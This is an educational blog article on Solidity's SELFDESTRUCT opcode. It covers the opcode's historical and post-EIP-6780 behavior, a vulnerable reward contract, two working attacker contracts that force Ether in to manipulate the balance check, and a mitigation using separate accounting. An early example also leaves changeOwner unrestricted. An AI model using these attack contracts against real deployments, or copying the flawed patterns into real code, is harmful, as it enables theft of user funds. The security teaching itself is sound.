Introduction
Hi, I'm cardene, a software engineer and technical writer focused on blockchain and AI.
I've also authored Japanese technical books on specification-driven development with LLMs and decentralized application (DApp) development.
I also build and publish a variety of tools, libraries, and open-source projects.
This article introduces selfdestruct in Solidity. Understanding the opcode is useful for smart contract developers and bug bounty researchers.
If you are unfamiliar with bug bounties, start here.
[Solidity-Bug Bounty] A Beginner's Guide to Bug Bounties
What is SELFDESTRUCT?

Overview
As the name suggests, selfdestruct historically provided a mechanism for destroying a contract and transferring its remaining Ether to a designated address.
The transfer occurs without invoking the recipient's code, so a recipient cannot reject it through its fallback or receive function.
An unrestricted function that executes selfdestruct can be dangerous. Access to such functionality must be restricted.
Historical context: This article was originally published in December 2022. The examples describe earlier EVM semantics. Under EIP-6780, activated on Ethereum in Dencun, SELFDESTRUCT generally no longer deletes the code or storage of an existing contract. The historical deletion behavior is retained only when the contract is created and self-destructed in the same transaction. The balance-transfer behavior remains relevant. Other EVM chains may have different fork activation schedules.
The original example is reproduced below.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Bank {
address public owner;
mapping(address => uint) public balances;
/// @notice ownerを変更する関数。
function changeOwner() public {
owner = msg.sender;
}
/// @notice 資金を預ける関数。
function deposit() public payable {
balances[msg.sender] += msg.value;
}
/// @notice selfdestructを実行して、ownerアドレスに資金を送金する関数。
function destruct() public {
require(owner == msg.sender, "Only the owner can execute it.");
selfdestruct(payable(owner));
}
/// @notice コントラクトが保持している資金を確認できる関数。
function getBalance() public view returns(uint) {
return address(this).balance;
}
}
The demonstration shows the contract's Ether balance transferred to the designated address. The transfer does not invoke a fallback function or other recipient function.
A closer look
The following sections distinguish the historical behavior from modern semantics.
Bytecode deletion
Historically, SELFDESTRUCT marked a contract for deletion, transferred its Ether balance to the beneficiary, and could qualify for a gas refund under earlier gas schedules.
Deletion removed the contract's executable bytecode and storage from the resulting state. As explained above, that is no longer the general behavior on Ethereum after EIP-6780.
Gas refunds
The original article described a historical incentive for clearing contract state, sometimes referred to as negative gas.
Earlier gas schedules allowed a SELFDESTRUCT refund, subject to an overall transaction refund cap that was historically half the gas consumed. This was not a guaranteed refund of half the transaction's gas. EIP-3529 removed the SELFDESTRUCT refund and reduced the general refund cap. Developers should not rely on this opcode for gas refunds.
History is not deleted
SELFDESTRUCT does not erase earlier transactions or historical blockchain records. Those records remain part of the chain's history.
Historical use cases for SELFDESTRUCT

The original article discusses two situations in which developers might previously have considered this mechanism.
Responding to an attack
If a contract contained a vulnerability and funds were being lost, developers historically considered destroying the vulnerable contract and moving its remaining Ether as an emergency measure.
Such a measure could remove the original contract's code under the old semantics, but it was a last resort. Under modern Ethereum semantics, SELFDESTRUCT is not a general way to disable an existing contract. Emergency response should rely on deliberately designed controls, such as appropriately authorized pause and migration mechanisms.
Upgrading a contract
Deployed smart contract code is generally immutable, but an application can support upgrades by changing which implementation a routing or proxy contract uses.
The original article refers to:
For example, ContractA may initially route calls to ContractB. Deploying ContractC and updating the routing configuration can make ContractA use the new implementation.
Historically, developers might have considered destroying the obsolete ContractB, particularly if it retained Ether. Modern upgrades should instead use explicit lifecycle and asset migration mechanisms. SELFDESTRUCT no longer reliably removes an existing implementation on Ethereum.
This distinction matters when replacing a vulnerable contract with a safer one.
Disadvantages of SELFDESTRUCT

Funds may be permanently lost
Under historical deletion semantics, someone sending Ether to a destroyed contract address could lose access to those funds if no mechanism existed to recover them.
Developers should ensure applications use the intended active address, and users should avoid sending funds to deprecated addresses. The exact recovery implications depend on the chain's semantics and the account's lifecycle.
Only native Ether is transferred
SELFDESTRUCT transfers native Ether on Ethereum, not ERC-20 balances or ERC-721 NFTs. Token balances and ownership are maintained by their respective token contracts.
Under historical deletion semantics, tokens held by a destroyed contract could become inaccessible. Developers should account for all assets before retiring or migrating a contract; transferring native Ether alone is not a complete asset recovery strategy.
User and developer trust
A privileged SELFDESTRUCT path can allow an operator to transfer all of the contract's native balance to a designated address, without the recipient being able to reject that transfer.
This creates a significant trust and access-control issue. Users should understand who can invoke the functionality and under which conditions.
It can itself be a security risk
If an unauthorized user can reach a SELFDESTRUCT path, the contract's balance may be put at risk. Under historical semantics, contract execution could also be disabled by code deletion.
The next section illustrates a different issue: a contract cannot assume that its native balance changes only through its own deposit function.
SELFDESTRUCT example

The historical example defines a contract that accepts deposits of exactly 1 ether. The participant whose deposit makes the balance exactly 5 ether becomes the winner and can claim 5 ether.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Bank {
uint public targetAmount = 5 ether;
address public winner;
/// @notice 資金を預ける関数。1 etherずつ預けることができる。
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
/// @notice 預けている資金がtargetAmountに達した時、最後に預けたユーザーが引き出すことができる。
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}Two additional contracts illustrate why relying on the raw balance is unsafe.
contract Attack {
Bank bank;
constructor(Bank _bank) {
bank = Bank(_bank);
}
/// @notice selfdestructを実行して、Bankコントラクトに1 ether以上を預ける。
function attack() public payable {
address payable bankAddr = payable(address(bank));
selfdestruct(bankAddr);
}
}The first demonstrates a forced Ether transfer into Bank that does not go through its deposit function.
contract Attack2 {
Bank bank;
constructor(Bank _bank) {
bank = Bank(_bank);
}
fallback() external payable {}
/// @notice 1 etherを預けるとBankコントラクトのtargetAmountの値に達するため、資金を引き出すことができる。
function attack() public payable {
bank.deposit{value: msg.value}();
bank.claimReward();
}
}The second demonstrates the interaction between the unexpectedly changed balance and the reward logic. The original example describes the following sequence in an isolated environment.
Illustrated sequence
- User A deposits 1 ether, making the balance 1 ether.
- User B deposits 1 ether, making the balance 2 ether.
- A forced transfer of 2 ether increases the balance to 4 ether without a normal deposit.
- A subsequent ordinary 1 ether deposit reaches 5 ether, and the reward logic treats that deposit as the winning one.
The original demonstration illustrates the result.

Because the reward condition relies on the contract's native balance, Ether received outside the normal deposit path changes the outcome. The complete historical example follows.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Bank {
uint public targetAmount = 5 ether;
address public winner;
/// @notice 資金を預ける関数。1 etherずつ預けることができる。
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
/// @notice 預けている資金がtargetAmountに達した時、最後に預けたユーザーが引き出すことができる。
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
Bank bank;
constructor(Bank _bank) {
bank = Bank(_bank);
}
/// @notice selfdestructを実行して、Bankコントラクトに1 ether以上を預ける。
function attack() public payable {
address payable bankAddr = payable(address(bank));
selfdestruct(bankAddr);
}
}
contract Attack2 {
Bank bank;
constructor(Bank _bank) {
bank = Bank(_bank);
}
fallback() external payable {}
/// @notice 1 etherを預けるとBankコントラクトのtargetAmountの値に達するため、資金を引き出すことができる。
function attack() public payable {
bank.deposit{value: msg.value}();
bank.claimReward();
}
}Mitigation

One way to address this particular vulnerability is to maintain a separate accounting variable, balance, and increase it by msg.value only when a valid deposit is processed.
The raw address(this).balance includes native Ether received through other mechanisms. A dedicated accounting variable instead records deposits that actually satisfy the application's rules, so forced transfers do not affect the winner-selection condition.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Bank {
uint public targetAmount = 5 ether;
address public winner;
// 預けた資金をカウント。
uint balance;
/// @notice 資金を預ける関数。1 etherずつ預けることができる。
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
// msg.valueを足し合わせることで、不正に送られた資金を無視できる。
balance += msg.value;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
/// @notice 預けている資金がtargetAmountに達した時、最後に預けたユーザーが引き出すことができる。
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
Bank bank;
constructor(Bank _bank) {
bank = Bank(_bank);
}
/// @notice selfdestructを実行して、Bankコントラクトに1 ether以上を預ける。
function attack() public payable {
address payable bankAddr = payable(address(bank));
selfdestruct(bankAddr);
}
}
contract Attack2 {
Bank bank;
constructor(Bank _bank) {
bank = Bank(_bank);
}
fallback() external payable {}
/// @notice 1 etherを預けるとBankコントラクトのtargetAmountの値に達するため、資金を引き出すことができる。
function attack() public payable {
bank.deposit{value: msg.value}();
bank.claimReward();
}
}The distinction between actual asset holdings and protocol-accounted deposits remains important after EIP-6780.
Conclusion

This article introduced SELFDESTRUCT, its historical behavior, and its security implications. The key points are to understand the applicable EVM fork rules, restrict privileged operations, and avoid treating a contract's raw native balance as a reliable record of authorized deposits.
I regularly write about Solidity, blockchain, and Web3, and share interesting articles on Twitter.
References
https://coinsbench.com/selfdestruct-hack-solidity-3-d68e87da9956
https://consensys.github.io/smart-contract-best-practices/attacks/force-feeding/#selfdestruct

